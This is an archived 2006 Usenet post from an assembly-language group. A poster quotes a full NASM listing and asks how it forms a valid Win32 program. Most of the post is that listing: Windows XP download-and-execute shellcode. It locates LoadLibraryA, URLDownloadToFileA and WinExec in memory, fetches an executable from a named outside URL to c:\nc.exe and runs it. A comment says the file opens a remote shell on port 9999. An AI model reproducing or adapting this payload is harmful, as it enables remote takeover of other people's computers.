

Re: about assembly compiler

Source: <http://coding.derkeiler.com/Archive/Assembler/alt.lang.asm/2006-10/msg00129.html>

- *From:* Herbert Kleebauer <klee@xxxxxxxxxx>
 - *Date:* Fri, 06 Oct 2006 10:43:00 +0200
-

Frank Kotler wrote:

mistral wrote:

Existing sources is on
html page,

What html page" Never mind, I found it. I **thought** it looked like shit!
No further help is available.

Maybe you can enlighten me: how does this gives a valid Win32 program?
Even if I disassemble it to get a proper syntax, I undererstand nothing.

```
1 ; Nice theorhetically generic url download and execute
2 ; shellcode for Windows XP.
3 ;
4 ; Heck, atleast it saves you using tftp!
5 ;
6 ; Peter4020@xxxxxxxxxxxxx
7 ;
8 ; nasmw -s -fbin -o download.s download.asm
9
10 bits 32
11
12 start:
13 00000000 EB41 jmp short avoidnastynulls
14
15 continue:
16 00000002 5F pop edi ; edi = 'urlmon.dll'
17 00000003 89FE mov esi, edi
18 00000005 B0FF mov al, 0ffh
19 00000007 F2AE repne scasb
20 00000009 FE47FF inc byte [edi-01h] ; edi = string of url
21 0000000C 89FB mov ebx, edi
22 0000000E B0FF mov al, 0ffh
```

Re: about assembly compiler

```
23 00000010 F2AE repne scasb
24 00000012 FE47FF inc byte [edi-01h] ; edi = path of download
25 00000015 89FA mov edx, edi
26 00000017 F2AE repne scasb
27 00000019 FE47FF inc byte [edi-01h]
28 0000001C 52 push edx
29
30 0000001D 53 push ebx
31 0000001E 52 push edx
32 0000001F 56 push esi
33
34 00000020 BBFF5E5BC2 mov ebx, 0c25b5effh
35 00000025 B9DEC0ADDE mov ecx, 0deadc0deh
36 0000002A BF0101E677 mov edi, 77e60101h
37
38 trawlmem:
39 0000002F 47 inc edi
40 00000030 B0FF mov al, 0ffh
41 00000032 F2AE repne scasb
42 00000034 EB01 jmp short checkbytes
43 00000036 90 nop
44
45 checkbytes:
46 00000037 4F dec edi
47 00000038 FF37 push dword [edi]
48 0000003A 5E pop esi
49 0000003B 39F3 cmp ebx, esi
50 0000003D 7406 je short gotcha
51 0000003F EBEE jmp short trawlmem
52
53 00000041 EB02 jmp short pastpoint
54
55 avoidnastynulls:
56 00000043 EB6D jmp short data
57
58 pastpoint:
59
60 gotcha:
61 00000045 8D47D2 lea eax, [edi-2eh] ; get to start of loadlibrarya function
62 00000048 FFD0 call eax ; call loadlibrarya
63
64 0000004A 5A pop edx
65 0000004B 5B pop ebx
66
67 0000004C 52 push edx
68 0000004D 31C9 xor ecx, ecx
69 0000004F 51 push ecx
70 00000050 51 push ecx
71 00000051 52 push edx ; path of download
72 00000052 53 push ebx ; url of download
73 00000053 51 push ecx
```

Re: about assembly compiler

```
74
75 00000054 BB02568D8D mov ebx, 8d8d5602h
76 00000059 B9ED0DDCBA mov ecx, 0badc0dedh
77 0000005E 89C7 mov edi, eax ; eax = base of urlmon.dll
78
79 trawlmem2:
80 00000060 47 inc edi
81 00000061 B002 mov al, 002h
82 00000063 F2AE repne scasb
83 00000065 EB01 jmp short checkbytes2
84 00000067 90 nop
85
86 checkbytes2:
87 00000068 4F dec edi
88 00000069 FF37 push dword [edi]
89 0000006B 5E pop esi
90 0000006C 39F3 cmp ebx, esi
91 0000006E 7402 je short gotcha2
92 00000070 EBEE jmp short trawlmem2
93
94 gotcha2:
95 00000072 8D47E5 lea eax, [edi-1bh] ; get to start of urldownloadtofilea function
96 00000075 FFD0 call eax ; call urldownloadtofilea
97
98 00000077 5A pop edx
99 00000078 31C9 xor ecx, ecx
100 ;inc ecx
101 0000007A 51 push ecx
102 0000007B 52 push edx
103
104 0000007C BB668B450C mov ebx, 0c458b66h
105 00000081 B90DF03713 mov ecx, 1337f00dh
106 00000086 BF0101E677 mov edi, 77e60101h
107
108 trawlmem3:
109 0000008B 47 inc edi
110 0000008C B066 mov al, 066h
111 0000008E F2AE repne scasb
112 00000090 EB01 jmp short checkbytes3
113 00000092 90 nop
114
115 checkbytes3:
116 00000093 4F dec edi
117 00000094 FF37 push dword [edi]
118 00000096 5E pop esi
119 00000097 39F3 cmp ebx, esi
120 00000099 7402 je short gotcha3
121 0000009B EBEE jmp short trawlmem3
122
123 gotcha3:
124 0000009D 8D47EA lea eax, [edi-16h] ; get to start of winexec function
```

Re: about assembly compiler

```
125 000000A0 FFD0 call eax ; call winexec
126
127 000000A2 B9DEC0ADDE mov ecx, 0deadc0deh
128 infloop: ; infinite loop; no crash when done
129 000000A7 41 inc ecx
130 000000A8 81F9ED0DDCBA cmp ecx, 0badc0dedh
131 000000AE E0F7 loopnz infloop ; if this slows you down too much, remove it!
132
133 000000B0 CD03 int 3h
134
135 data:
136 000000B2 E84BFFFFFF call continue
137 000000B7 55524C4D4F4E2E444C- db 'URLMON.DLL', 0ffh
138 000000C0 4CFF
139 000000C2 687474703A2F2F7777- db 'http://www.elitehaven.net/ncat.exe', 0ffh ; the file at this address
spawns remote shell on port 9999
140 000000CB 772E656C6974656861-
141 000000D4 76656E2E6E65742F6E-
142 000000DD 6361742E657865FF
143 000000E5 633A5C6E632E657865- db 'c:\nc.exe', 0ffh
144 000000EE FF
```